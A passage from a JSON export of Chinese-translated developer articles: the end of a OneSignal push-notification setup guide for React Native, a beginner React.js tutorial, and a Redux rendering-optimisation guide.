UDID]（http://whatsmyudid.com/）。\n\n\n然后创建你的证书并且下载下来。当下载完成之后，双击安装证书。\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*CsHNUIgk5gWrws1x2kNegA.png)\n\n\n\n\n然后选择你刚刚创建的证书。\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*zbWgZF_kgg8TUfL9Tsir2g.png)\n\n\n\n\n好的，现在尝试编译一下。祈祷吧，如果能正常工作，那么恭喜你！\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*3e1SZvE7qPIcPz-OSusWtg.gif)\n\n\n\n如果你做完了上面的事情，那么现在我们来讲讲如何设置安卓。\n\n#### [配置 Android](https://github.com/geektimecoil/react-native-onesignal#android-installation)\n\n\n现在设置 Android！在我们开始之前，我需要提醒大家，这些指令假设React Native的版本 > = v0.29。 如果您仍然是早期版本 [请按照这里去做]（https://github.com/geektimecoil/react-native-onesignal#rn--029）。 好的，让我们开始...（它比 iOS 容易）\n\n首先，我们需要为 AndroidManifest.xml 添加一些必要的权限，可以在**android / app / src / main / AndroidManifest.xml.**\n\n\n    \n\n        ...\n         \n\n        \n\n        <application\n          ...\n          android:launchMode=\"singleTop\" \n        >\n          ...\n        \n\n    \n\n[获取完整的文件](https://gist.github.com/spencercarli/b5e40be6d2e843d843c633def1ffacf2)\n\n现在我们跳过 **gradle-wrapper.properties**，在 **android / gradle / wrapper / gradle-wrapper.properties** 以改变我们的 **distributionUrl**。 它应该最终看起来像这样（我们需要 gradle 2.10）\n\n\n    distributionBase=GRADLE_USER_HOME\n    distributionPath=wrapper/dists\n    zipStoreBase=GRADLE_USER_HOME\n    zipStorePath=wrapper/dists\n    distributionUrl=https://services.gradle.org/distributions/gradle-2.10-all.zip\n\n现在我们告诉Android应用程序关于 OneSignal包在 **settings.gradle **（** android / settings.gradle）。**\n\n\n    nclude ':react-native-onesignal'\n    project(':react-native-onesignal').projectDir = new File(rootProject.projectDir, '../node_modules/react-native-onesignal/android')\n\n我们还想更新在 **android / build.gradle - ** 第8行中使用的 gradle 版本。\n\n    // Top-level build file where you can add configuration options common to all sub-projects/modules.\n\n    buildscript {\n        repositories {\n            jcenter()\n        }\n        dependencies {\n            classpath 'com.android.tools.build:gradle:2.1.0' // HEY LOOK HERE!\n\n            // NOTE: Do not place your application dependencies here; they belong\n            // in the individual module build.gradle files\n        }\n    }\n\n    allprojects {\n        repositories {\n            mavenLocal()\n            jcenter()\n            maven {\n                // All of React Native (JS, Obj-C sources, Android binaries) is installed from npm\n                url \"$rootDir/../node_modules/react-native/android\"\n            }\n        }\n    }\n\n\n注意我们现在更新的文件，它跟我们刚才更新的文件不一样。 我们需要告诉 OneSignal 我们的应用信息。 请务必使用自己的值。在 **android / app / build.gradle** **upgrade _buildToolsVersion** 到 **23.0.2** 中，添加我们的 Key（请参阅代码片段），并将该包作为 Android 应用程序的依赖项添加。\n\n    android {\n        ...\n        buildToolsVersion \"23.0.2\" // UPGRADE\n        ...\n        defaultConfig {\n            ...\n            manifestPlaceholders = [manifestApplicationId: \"${applicationId}\",\n                                    onesignal_app_id: \"YOUR_ONESIGNAL_ID\",\n                                    onesignal_google_project_number: \"YOUR_GOOGLE_PROJECT_NUMBER\"]\n        }\n    }\n\n    dependencies {\n        ...\n        compile project(':react-native-onesignal')\n    }\n\n\n请记住，您想要更改 **YOUR_ONESIGNAL_ID** （用于iOS的相同）和 **YOUR_GOOGLE_PROJECT_NUMBER** （这是你先前生成并添加到OneSignal里面的那个）。\n\n\n\n[以下是完整文件，仅供参考](https://gist.github.com/spencercarli/b8e61d29fe1c1ab1798a3b7861177db5)。\n差不多就这样了！最后我们需要做的事更改_MainApplication.java_(_android/app/src/main/java/com/YOUR_APP_NAME/MainApplication.java_)。你需要注意第 15 行和 29 行。\n\n\n    package com.onesignalexample;\n\n    import android.app.Application;\n    import android.util.Log;\n\n    import com.facebook.react.ReactApplication;\n    import com.facebook.react.ReactInstanceManager;\n    import com.facebook.react.ReactNativeHost;\n    import com.facebook.react.ReactPackage;\n    import com.facebook.react.shell.MainReactPackage;\n\n    import java.util.Arrays;\n    import java.util.List;\n\n    import com.geektime.reactnativeonesignal.ReactNativeOneSignalPackage;  // ADD THIS\n\n    public class MainApplication extends Application implements ReactApplication {\n\n      private final ReactNativeHost mReactNativeHost = new ReactNativeHost(this) {\n        @Override\n        protected boolean getUseDeveloperSupport() {\n          return BuildConfig.DEBUG;\n        }\n\n        @Override\n        protected List getPackages() {\n          return Arrays.asList(\n              new MainReactPackage(),\n              new ReactNativeOneSignalPackage() // Add this line, and don't forget the comma on the previous line\n          );\n        }\n      };\n\n      @Override\n      public ReactNativeHost getReactNativeHost() {\n          return mReactNativeHost;\n      }\n    }\n\n这很顺利，不是么？我会等你编译你的程序。\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*3ld_cBA83pnFiwIdvmuq7w.gif)\n\n\n\n非常棒。让我们来使用神奇的远程推送吧。\n\n#### Android 用法 & iOS 用法\n\n首先我们需要创建一个新的 **App.js** 在我们项目的根目录中—这样我们可以在 iOS 和 Android 上写相同的代码。复制粘贴下面的代码在你的文件中。\n\n    import React, { Component } from 'react';\n    import {\n      StyleSheet,\n      Text,\n      View,\n      Platform,\n    } from 'react-native';\n\n    class App extends Component {\n      render() {\n        return (\n          \n            \n              Welcome to the OneSignal Example!\n            \n            \n              Using {Platform.OS}? Cool.\n            \n          \n        );\n      }\n    }\n\n    const styles = StyleSheet.create({\n      container: {\n        flex: 1,\n        justifyContent: 'center',\n        alignItems: 'center',\n        backgroundColor: '#F5FCFF',\n      },\n      welcome: {\n        fontSize: 20,\n        textAlign: 'center',\n        margin: 10,\n      },\n      instructions: {\n        textAlign: 'center',\n        color: '#333333',\n        marginBottom: 5,\n      },\n    });\n\n    export default App;\n\n然后将 **index.ios.js** 和 **index.android.js** 更改为以下（因此我们使用我们刚刚创建的 App 文件）。\n\n\n    import { AppRegistry } from 'react-native';\n    import App from './App';\n\n    AppRegistry.registerComponent('OneSignalExample', () => App);\n\n好吧，现在我们可以继续，真正的配置 OneSignal 为我们工作。准备好了么？仅仅两行代码（是的，只有两行）。首先我们导入包，然后我们调用 configure 方法。\n\n    ...\n    import OneSignal from 'react-native-onesignal';\n\n    class App extends Component {\n      componentDidMount() {\n        OneSignal.configure({});\n      }\n\n      ...\n    }\n\n    ...\n\n    export default App;\n\n必须注意的是空的object是必须的在配置中。 [这里是全部的文件](https://gist.github.com/spencercarli/3f430c7b5d3f3603371e52beb2377866) 。\n\n然后，我们可以在 iOS 和 Android 上刷新或启动我们的应用程序。 如果一切都按预期工作，你应该在 OneSignal 的仪表板上看到类似的东西。\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*5zB7dz--07hxIptHv4oHaw.png)\n\n\n\n\n\n> 记住 你需要一个真实的 [iOS](https://www.amazon.com/gp/product/B00YD547Q6/ref=as_li_tl?ie=UTF8&tag=handlebarlabs-20&camp=1789&creative=9325&linkCode=as2&creativeASIN=B00YD547Q6&linkId=5b16710a735bff80c55cc47dbdb4e38b) [Android](https://www.amazon.com/gp/product/B017RMREL6/ref=as_li_tl?ie=UTF8&camp=1789&creative=9325&creativeASIN=B017RMREL6&linkCode=as2&tag=handlebarlabs-20&linkId=4b8388a4f02af44c275fab434156cf7e) 去测试。\n\n\n\n\n\n继续，把机器锁屏，来到OneSiganl的仪表盘发送一条消息。\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*fz1lQ7HoNCl5LCqrZv4_MA.png)\n\n\n\n\n\n我现在暂且不为你一一介绍 OneSiganl 上可用的选项，但是你可以做很多事情通过仪表盘，你还可以通过其 [REST API](https://documentation.onesignal.com/reference) 与服务进行交互，以便您可以通过编程方式发送通知。 无论如何，如果一切正常，你应该得到你的设备上的通知！\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*_ztwFmCwSVYWO_lf1nyMtg.jpeg)\n\n\n\n现在这是很基本的，你可以通过 OneSignal 做很多事情，其中一些我将在下面介绍。\n#### [iOS] 仅在需要时请求通知权限\n\n\n当需要的时候请求推送的权限，是被 Apple 所鼓励的（我找不到文档的说明，但是确实是存在的）。所以，与其说在 app 启动的时候请求权限不如当他们进行一些操作后。这样它们就可以理解你为啥去请求权限。这样的话是建立在用户信任的基础上的，让我们设置一下。\n\n\n\n\n首先我们要做的是禁用自动注册，我们将在 **AppDelegate.m** 文件中执行。 记的之前写的 **self.oneSignal**？ 我们会再次用到它。\n\n\n    self.oneSignal = [[RCTOneSignal alloc] initWithLaunchOptions:launchOptions\n                                                           appId:@\"YOUR_ONESIGNAL_APP_ID\"\n                                                           autoRegister:false]; // added this\n\n\n所以一旦当我们这样写的话，它就不会自动的去请求权限了。我们需要手动的去请求权限。OneSignal 可以让我们非常容易的做这些事情，在 **App.js** 我们会添加一个按钮去请求权限（仅仅在 iOS 上）。我们将使用 **registerForPushNotifications** 函数来这样做。在请求权限后，它会处理好一切的事情。\n    render() {\n        return (\n          \n            ...\n            {Platform.OS === 'ios' ?\n               OneSignal.registerForPushNotifications()}\n                style={{ padding: 20, backgroundColor: '#3B5998' }}\n              >\n                Request Push Notification Permission\n              \n            : null}\n          \n        );\n      }\n\n[完整的文件](https://gist.github.com/spencercarli/2541f85684282a3827ec4740db96533e)\n\n\n\n如果你之前在你的手机上运行过 app，你需要把他删除并且重新装一下，这样你就可以让请求推送的提示再次出现了。\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*S6z4KXAe3W1TD1clPjnTWg.gif)\n\n\n\n#### App 内的推送\n\n\n\n因此，假设你希望在用户使用 app 的过程中收到通知，并且希望向他们展示。 使用 OneSignal，您可以通过设置轻松地向他们显示\n\n\n    OneSignal.enableInAppAlertNotification(true);\n\n在你的 App.js 文件。 当用户在你的应用中时，将会显示你的通知。简单有用，对吧？我是这么想的。\n\n\n\n\n\n\n* * *\n\n\n\n\n这就是我今天介绍的所有东西。，它如一个洪水猛兽般强大，想看到更多的关于适用 OneSiganl 进行推送的东西么？可以反馈或者推荐这篇文章让我知道。我是非常赏识你这样做的。在下面自由的提问吧－可能会比较棘手。\n\n\n\n[全部的代码在GitHub。](https://github.com/spencercarli/react-native-onesignal-example)\n\n\n\n>这个帖子是一个更大的目标的是让更多的人知道React Native。 有兴趣了解更多吗？ [欢迎注册我的邮箱服务]（http://eepurl.com/bXLcvT），我保证提供有及多的油价值的 React 的知识！\n\n\n帖子中的一些链接是推广链接，如果你从他们那里买东西，我可以赚一些佣金。\n\n\n\n\n"
  },
  {
    "path": "TODO/react-newbies-tutorial.md",
    "content": ">* 原文链接 : [HOMEBLOG React JS: newbies tutorial](http://www.leanpanda.com/blog/2016/04/06/react-newbies-tutorial/)\n* 原文作者 : Elise Cicognani\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [markzhai](https://github.com/markzhai)\n* 校对者: [JasinYip](https://github.com/JasinYip), [malcolmyu](https://github.com/malcolmyu), [羊羊羊](https://github.com/antonia0912)\n\n# React.js 新手村教程\n\n正如你能从标题猜到的，这篇文章的目标是给那些有很少编程经验的读者的。比如，像我这样的人：因为迄今为止，我才探索了编程世界6个月。**所以，这将是一篇新手村教程！** 你只需要拥有对 HTML 和 CSS 的理解，以及基本的 JavaScript（JS）知识就能看懂本文。\n\n注意：在接下来的例子中，我们将会利用 ES6 提供的新能力，来简化写 JS 代码的过程。然而，你也能完全使用 ES5 来写 React。\n\n预计阅读时间9分钟\n\n\n# 什么是 React ？\n\nReact 是一个 JS 库，由 Facebook 和 Instagram 创建([https://facebook.github.io/react/](https://facebook.github.io/react/))。它通过将应用分为一些动态的、可复用的 **组件**，来使我们可以创建单页应用([Single Page Applications (SPA)](http://www.leanpanda.com/blog/2015/05/25/single-page-application-development/))。\n\n一个 React 组件是一个继承了由 React 提供的 **Component** 的 JS 类。一个组件代表并定义了一块 HTML 代码，以及任何与这块代码相关的行为，比如点击事件。组件就像是乐高积木，可以用来组建成所需的复杂应用。完全由 JS 代码构成的组件，可以被隔离和复用。基本方法是 **render()**，它简单地返回一片HTML代码。\n\n这种用来定义 React 组件的语法被称为 **JSX**。该语法由 React 的创建者们所开发，被用来简化 JS-HTML 代码的组件内交互。使用该语法写的代码在变成实际 JS 代码前必须被编译。\n\n# 创建一个组件（component）\n\n为了创建我们的组件并将它渲染为一页 HTML，我们首先在我们的 HTML 文件里需要定义一个有唯一 id 的 div。接着，我们将要在 JSX 文件里写代码，以连接 React 组件到使用其 id 的 div，如下面的例子所示。这样做将会指导浏览器在相关 DOM 标签所在的页面渲染组件。\n\n<iframe height=\"266\" scrolling=\"no\" src=\"//codepen.io/makhenzi/embed/XXdmvL/?height=266&amp;theme-id=0&amp;default-tab=js,result&amp;embed-version=2\" frameborder=\"no\" allowtransparency=\"true\" allowfullscreen=\"true\" style=\"width: 100%;\">See the Pen &lt;a href=\"http://codepen.io/makhenzi/pen/XXdmvL/\"&gt;Start&lt;/a&gt; by Makhenzi (&lt;a href=\"http://codepen.io/makhenzi\"&gt;@makhenzi&lt;/a&gt;) on &lt;a href=\"http://codepen.io\"&gt;CodePen&lt;/a&gt;.</iframe>\n\nSee the Pen [Start](http://codepen.io/makhenzi/pen/XXdmvL/) by Makhenzi ([@makhenzi](http://codepen.io/makhenzi)) on [CodePen](http://codepen.io).\n\nJSX 内的 HTML 标签属性和普通 HTML 内的是几乎一样的；唯一不同的是“class”，在 JSX 里面变成了“className”。类 HTML 语法使用圆括号闭合，而包含 JS 的块则使用尖括号闭合。正如你将看到的。render() **总**会返回一个 div，而在其中开发者可以自由引入他们认为合适的任意多的标签和元素。\n\n## 例子：海盗的灭绝\n\n![](http://ww4.sinaimg.cn/large/a490147fjw1f2x94p1ev2j20m80etjtt.jpg)\n\n如果我们选择使用 React 来创建这张图，我们可以对屏幕上各个日期进行可视化，并在那些日期被点击的时候，才显示对应的温度和海盗数量。\n\n为此我们需要2个组件：第一个用来渲染日期，并将每个日期链接到给定的海盗数量和温度；第二个则需要用来接收日期上的点击事件对应的信息，如海盗的数量和当时的温度，接着基于这些数据渲染选择的元素。\n\n前者相当于是“父亲”的角色，并包含多个后面的“子”组件的链接，而后者则紧密依赖于它们的“父亲”。\n\nReact 结构，被称为[虚拟 DOM](https://facebook.github.io/react/docs/working-with-the-browser.html)，可以使我们在组件的内容发生改变的时候，不需要刷新整个页面，而可以只更新对应组件。为此，组件需要一个内部方法，来保存变量 data 和 赋值给该元素的会被改变的 HTML 属性。这些属性会自行链接到那些我们在组件内定义的，会负责响应变化的方法。\n\n## 状态(State)和属性(props)\n\n在我们的例子里，那个独立的变量 data 是由日期组成的。这些会根据点击事件所集合的 DOM 内连锁反应进而根据对应海盗、温度信息而进行改变。所以我们将会根据每个 “DATA” 对象内的对应日期去保存信息。我们还将利用 React 在父组件内的 `this.state={}` 属性来以键值对拷贝形式保存变量数据的。\n\n以这种形式组织程序使得我们可以利用 React 提供的方法，来以“状态(state)”的形式和数据交互，并对其进行任意更改。\n\n考虑到我们想要使用 DATA 对象的 key 来渲染 HTML 内的日期，最好可以找到一种方法来在 key 上使用 JS 的 `map()` 方法([Array.prototype.map()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map))，以便能直接显示返回到 `render()` 的 HTML。事实上确实有方法可以做到！我们只需要把 JS 代码包裹在双花括号里，并放置在想要代码输出显示的管理该组件的 DOM 块内，然后就好了。\n\n在这个特殊例子中，我们将在组件内的方法里定义 `map()` 回调，其将在同一组件的`render()`内返回一片 HTML 代码。\n\n<iframe height=\"266\" scrolling=\"no\" src=\"//codepen.io/makhenzi/embed/XXdmvL/?height=266&amp;theme-id=0&amp;default-tab=js,result&amp;embed-version=2\" frameborder=\"no\" allowtransparency=\"true\" allowfullscreen=\"true\" style=\"width: 100%;\">See the Pen &lt;a href=\"http://codepen.io/makhenzi/pen/XXdmvL/\"&gt;Start&lt;/a&gt; by Makhenzi (&lt;a href=\"http://codepen.io/makhenzi\"&gt;@makhenzi&lt;/a&gt;) on &lt;a href=\"http://codepen.io\"&gt;CodePen&lt;/a&gt;.</iframe>\n\nSee the Pen [State1](http://codepen.io/makhenzi/pen/qbZbxR/) by Makhenzi ([@makhenzi](http://codepen.io/makhenzi)) on [CodePen](http://codepen.io).\n\n为了分配点击事件到每个日期，我们将会分配 `onClick` 属性给它们。\n\n在该属性中，我们会调用组件的方法，该方法则会定义我们希望在 onClick 事件后触发的状态修改和其他变更。\n\n在我们的例子里，我们定义该函数为 `handleClick()`。在 handleClick() 中，我们会调用 React 方法 `setState()`，其允许我们在在每个点击事件中去更改状态数据。我们只需要插入一个包含我们想要修改的状态 key 的对象，并在后者括号内分配给它们新的相关联值。\n\n总的来说，每次一个日期被点击，被选中的div的onClick属性会调用 `HandClick()` 方法，该方法会调用 setState() 方法来修改组件的状态。\n\n每次状态改变，一旦发生 React 就会自动检查组件的 `render()` 函数的返回，以寻找基于新状态需要更新的内容。一旦有那样的数据， React 就会自动触发一次新的 `render()` 来更新那些有变更的 HTML 片段。\n\n(我很抱歉，在接着的例子里，我插入了三行利用了 Classnames 的代码，一个用来基于状态变更来做 CSS 管理的小工具，我这么做只是为了给预览一点颜色。我还会使用它在最终的例子里给预览填充一些海盗变量。你可以找到 GitHub 上 Classnames 仓库的链接，还有一个[简要使用向导](https://github.com/JedWatson/classnames))\n\n<iframe height=\"266\" scrolling=\"no\" src=\"//codepen.io/makhenzi/embed/EPKwRo/?height=266&amp;theme-id=0&amp;default-tab=js,result&amp;embed-version=2\" frameborder=\"no\" allowtransparency=\"true\" allowfullscreen=\"true\" style=\"width: 100%;\">See the Pen &lt;a href=\"http://codepen.io/makhenzi/pen/EPKwRo/\"&gt;State2&lt;/a&gt; by Makhenzi (&lt;a href=\"http://codepen.io/makhenzi\"&gt;@makhenzi&lt;/a&gt;) on &lt;a href=\"http://codepen.io\"&gt;CodePen&lt;/a&gt;.</iframe>\n\nSee the Pen [State2](http://codepen.io/makhenzi/pen/EPKwRo/) by Makhenzi ([@makhenzi](http://codepen.io/makhenzi)) on [CodePen](http://codepen.io).\n\n如此，我们的父组件状态已经被设定好根据选中数据去创建子组件（其将会描述海盗数量和对应温度）。\n\n我们将会在 JSX 文件中创建子组件的实例，正如我们之前对父组件所做的。为了链接子组件到其父亲上，我们只需要在后者的 `render()` 函数使用同一种语法和一个 HTML 标签去定义关系。如果我们称它为 “Child” ，它将会在我们插入 `<Child />`处所在的 HTML 块内出现。\n\n我们的子组件还必须根据现在选中数据所关联的海盗和温度，传递数据到其父亲。为此，我们将利用赋给 Child 标签的属性，其名字可以随便取，其信息只对父组件可见。\n\n如此一来，子组件将可以通过显式访问归属于其父组件的数据，即利用这些 “attribute-bridges”，或者 **属性(props)**，来获取到它自己内部信息的访问权。\n\n所以，每次父组件的状态发生改变，其子组件的属性内容就会自动进行更新。但是，正如子组件的`render()`方法会显示属性内容，它也会基于单向的数据线性流，根据任何收到的新信息去进行更新。\n\n<iframe height='266' scrolling='no' src='//codepen.io/makhenzi/embed/EPKbmO/?height=266&theme-id=0&default-tab=js,result&embed-version=2' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'>See the Pen <a href='http://codepen.io/makhenzi/pen/EPKbmO/'>Props</a> by Makhenzi (<a href='http://codepen.io/makhenzi'>@makhenzi</a>) on <a href='http://codepen.io'>CodePen</a>.\n</iframe>\n\n搞定了！组件们会互相交互，并根据我们的点击在 DOM 里渲染不同数据，而不需要单页去进行刷新。以这个为基础，交互的复杂性和组件的数量可以按需增加，使我们能创建复杂高效的应用。\n\n如果你被这个库的潜力启发了，[不妨看看 react.rocks 网站](https://react.rocks/)，在那里你会找到很多有趣的点子来帮助你开始。(:\n"
  },
  {
    "path": "TODO/react-redux-optimization.md",
    "content": "\n> * 原文地址：[Redux 并不慢，只是你使用姿势不对 —— 一份优化指南](http://reactrocket.com/post/react-redux-optimization/)\n> * 原文作者：本文已获原作者 [Julian Krispel](https://twitter.com/juliandoesstuff) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/react-redux-optimization.md](https://github.com/xitu/gold-miner/blob/master/TODO/react-redux-optimization.md)\n> * 译者：[reid3290](https://github.com/reid3290)\n> * 校对者：[sunui](https://github.com/sunui)，[xekri](https://github.com/xekri)\n\n# Redux 并不慢，只是你使用姿势不对 —— 一份优化指南\n\n如何优化使用了 Redux 的 React 应用不是那么显而易见的，但其实又是非常简单直接的。本文即是一份带有若干示例的简短指南。\n\n在优化使用了 Redux 的 React 应用的时候，我经常听人说 Redux 很慢。其实在 99% 的情况下，性能低下都和不必要的渲染有关（这一论断也适用于其他框架），因为 DOM 更新的代价是昂贵的。通过本文，你将学会如何在使用 Redux 的 React 应用中避免不必要的渲染。\n\n一般来讲，要在 Redux store 更新的时候同步更新 React 组件，需要用到[ React 和 Redux 的官方绑定库](https://github.com/reactjs/react-redux)中的 [`connect`](https://github.com/reactjs/react-redux/blob/master/docs/api.md#connectmapstatetoprops-mapdispatchtoprops-mergeprops-options) 高阶组件。\n`connect` 是一个将你的组件进行包裹的函数，它返回一个高阶组件，该高阶组件会监听 Redux store，当有状态更新时就重新渲染自身及其后代组件。\n\n## React 和 Redux 的官方绑定库 —— react-redux 快速入门\n\n`connect` 高阶组件实际上已经被优化过了。为了理解如何更好地使用它，必须先理解它是如何工作的。\n\n实际上，Redux 和 react-redux 都是非常小的库，因此其源码也并非高深莫测。我鼓励人们通读源码，或者至少读一部分。如果你想更进一步的话，可以自己实现一个，这能让你深入理解为什么它要作如此设计。\n\n闲言少叙，让我们稍微深入地研究一下 react-redux 的工作机制。前面已经提过，react-redux 的核心是 `connect` 高阶组件，其函数签名如下：\n\n    return function connect(\n      mapStateToProps,\n      mapDispatchToProps,\n      mergeProps,\n      {\n        pure = true,\n        areStatesEqual = strictEqual,\n        areOwnPropsEqual = shallowEqual,\n        areStatePropsEqual = shallowEqual,\n        areMergedPropsEqual = shallowEqual,\n        ...extraOptions\n      } = {}\n    ) {\n    ...\n    }\n\n顺便说一下 —— 只有 `mapStateToProps` 这一个参数是必须的，而且大多数情况下只会用到前两个参数。此处我引用这个函数签名是为了阐明 react-redux 的工作机制。\n\n所有传给 `connect` 函数的参数都用于生成一个对象，该对象则会作为属性传给被包裹的组件。`mapStateToProps` 用于将 Redux store 的状态映射成一个对象，`mapDispatchToProps` 用于产生一个包含函数的对象 —— 这些函数一般都是动作生成器（action creators）。`mergeProps` 则接收 3 个参数：`stateProps`、`dispatchProps` 和 `ownProps`，前两个分别是 `mapStateToProps` 和 `mapDispatchToProps` 的返回结果，最后一个则是继承自组件本身的属性。默认情况下，`mergeProps` 会将上述参数简单地合并到一个对象中；但是你也可以传递一个函数给 `mergeProps`，`connect` 则会使用这个函数为被包裹的组件生成属性。\n\n`connect` 函数的第四个参数是一个属性可选的对象，具体包含 5 个可选属性：一个布尔值 `pure` 以及其他四个用于决定组件是否需要重新渲染的函数（应当返回布尔值）。`pure` 默认为 true，如果设为 false，`connect` 高阶组件则会跳过所有的优化选项，而且那四个函数也就不起任何作用了。我个人认为不太可能有这类应用场景，但是如果你想关闭优化功能的话可以将其设为 false。\n\n`mergeProps` 返回的对象会和上一个属性对象作比较，如果 `connect` 高阶组件认为属性对象所有改变的话就会重新渲染组件。为了理解 `react-redux` 是如何判断属性是否有变化的，请参考 [`shallowEqual` 函数](https://github.com/reactjs/react-redux/blob/master/src/utils/shallowEqual.js)。如果该函数返回 true，则组件不会渲染；反之，组件将会重新渲染。`shallowEqual` 负责进行属性对象的比较，下文是其部分代码，基本表明了其工作原理：\n\n    for (let i = 0; i < keysA.length; i++) {\n      if (!hasOwn.call(objB, keysA[i]) ||\n          !is(objA[keysA[i]], objB[keysA[i]])) {\n        return false\n      }\n    }\n\n概括来讲，这段代码做了这些工作：\n\n遍历对象 A 中的所有属性，检查对象 B 中是否存在同名属性。然后检查 A 和 B 同名属性的属性值是否相等。如果这些检查有一个返回 false，则对象 A 和 B 便被认为是不等的，组件也就会重新渲染。\n\n这引出一条黄金法则：\n\n## 只给组件传递其渲染所必须的数据\n\n这可能有点难以理解，所以让我们结合一些例子来细细分析一下。\n\n### 将和 Redux 有连接的组件拆分开来\n\n我见过很多人这样做：用一个容器组件监听一大堆状态，然后通过属性传递下去。\n\n    const BigComponent = ({ a, b, c, d }) => (\n      <div>\n        <CompA a={a} />\n        <CompB b={b} />\n        <CompC c={c} />\n      </div>\n    );\n\n    const ConnectedBigComponent = connect(\n      ({ a, b, c }) => ({ a, b, c })\n    );\n\n现在，一旦 `a`、`b` 或 `c` 中的任何一个发生改变，`BigComponent` 以及 `CompA`、`CompB` 和 `CompC` 都会重新渲染。\n\n其实应该将组件拆分开来，而无需过分担心使用了太多的 `connect`：\n\n    const ConnectedA = connect(CompA, ({ a }) => ({ a }));\n    const ConnectedB = connect(CompB, ({ b }) => ({ b }));\n    const ConnectedC = connect(CompC, ({ c }) => ({ c }));\n\n    const BigComponent = () => (\n      <div>\n        <ConnectedA a={a} />\n        <ConnectedB b={b} />\n        <ConnectedC c={c} />\n      </div>\n    );\n\n如此一来，`CompA` 只有在 `a` 发生改变后才会重新渲染，`CompB` 只有在 `b` 发生改变后才会重新渲染，`CompC` 也是类似的。如果 `a`、`b`、`c` 更新很频繁的话，那每次更新我们仅仅只是重新渲染一个组件而不是一下渲染三个。就这三个组件来讲区别可能不会很明显，但要是组件再多一些就比较明显了。\n\n### 转变组件状态，使之尽可能地小\n\n这里有一个人为构造（稍有改动）的例子：\n\n你有一个很大的列表，比如说有 300 多个列表项：\n\n    <List>\n      {this.props.items.map(({ content, itemId }) => (\n        <ListItem\n          onClick={selectItem}\n          content={content}\n          itemId={itemId}\n          key={itemId}\n        />\n      ))}\n    </List>\n\n点击一个列表项便会触发一个动作，同时更新 store 中的值 `selectedItem`。每一个列表项都通过 Redux 获取 `selectedItem` 的值：\n\n    const ListItem = connect(\n      ({ selectedItem }) => ({ selectedItem })\n    )(SimpleListItem);\n\n这里我们只给组件传递了其所必须的状态，这是对的。但是，当 `selectedItem` 发生变化时，所有 `ListItem` 都会重新渲染，因为我们从 `selectedItem` 返回的对象发生了变化，之前是 `{ selectedItem: 123 }` 而现在是 `{ selectedItem: 120 }`。\n\n记住一点，我们使用了 `selectedItem` 的值来检查当前列表项是否被选中了。但是实际上组件只需要知道它有没有被选中即可， 本质上就是个 `Boolean`。布尔值用在这里简直完美，因为它仅仅有 `true` 和 `false` 两种状态。如果我们返回一个布尔值而不是 `selectedItem`，那当那个布尔值发生改变时只有两个组件会被重新渲染，这正是我们期望的结果。`mapStateToProps` 实际上会将组件的 `props` 作为第二个参数，我们可以利用这一点来确定当前组件是否是被选中的那一项。代码如下： \n\n    const ListItem = connect(\n      ({ selectedItem }, { itemId }) => ({ isSelected: selectedItem === itemId })\n    )(SimpleListItem);\n\n如此一来，无论 `selectedItem` 如何变化，只有两个组件会被重新渲染 —— 当前选中的 `ListItem` 和那个被取消选择的 `ListItem`。\n\n### 保持数据扁平\n\n[Redux 文档](http://redux.js.org/docs/recipes/reducers/NormalizingStateShape.html) 中作为最佳实践提到了这点。保持 store 扁平有很多好处。但就本文而言，嵌套会造成一个问题，因为我们希望状态更新粒度尽量小以使应用运行尽量快。比如说我们有这样一种深浅套的状态：\n\n    {\n      articles: [{\n        comments: [{\n          users: [{\n          }]\n        }]\n      }],\n      ...\n    }\n\n为了优化 `Article`、`Comment` 和 `User` 组件，它们都需要订阅 `articles`，而后在层层嵌套的属性中找到所需要的状态。其实如果将状态展开成这样会更加合理：\n\n    {\n      articles: [{\n        ...\n      }],\n      comments: [{\n        articleId: ..,\n        userId: ...,\n        ...\n      }],\n      users: [{\n        ...\n      }]\n    }\n\n之后用自己的映射函数获取评论和用户信息即可。更多关于状态扁平化的内容可以参阅 [Redux 文档](http://redux.js.org/docs/recipes/reducers/NormalizingStateShape.html)。\n\n### 福利：两个选择 Redux 状态的库\n\n这一部分完全是可选的。一般来讲上述那些建议足够你编写出高效的 react 和 Redux 应用了。但还有两个可以大大简化状态选择的库：\n\n[Reselect](https://github.com/reactjs/reselect) 是为 Redux 应用编写 `selectors` 所必不可少的工具。根据其官方文档：\n\n- Selectors 可以计算衍生数据，可以让 Redux 做到存储尽可能少的状态。\n- Selectors 是高效的，只有在某个参数发生变化时才被重新计算。\n- Selectors 是可组合的。它们可以用作其他 selectors 的输入。\n\n对于界面复杂、状态繁多、更新频繁的应用，reselect 可以大大提高应用运行效率。\n\n[Ramda](http://ramdajs.com/) 是一个由许多高阶函数组成、功能强大的函数库。 换句话说，就是许多用于创建函数的函数。由于我们的映射函数也不过只是函数而已，所以我们可以利用 Ramda 方便地创建 selectors。Ramda 可以完成所有 selectors 可以完成的工作，而且还不止于此。[Ramda cookbook](https://github.com/ramda/ramda/wiki/Cookbook) 中介绍了一些 Ramda 的应用示例。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/reactive-generic-segue-with-rxswift.md",
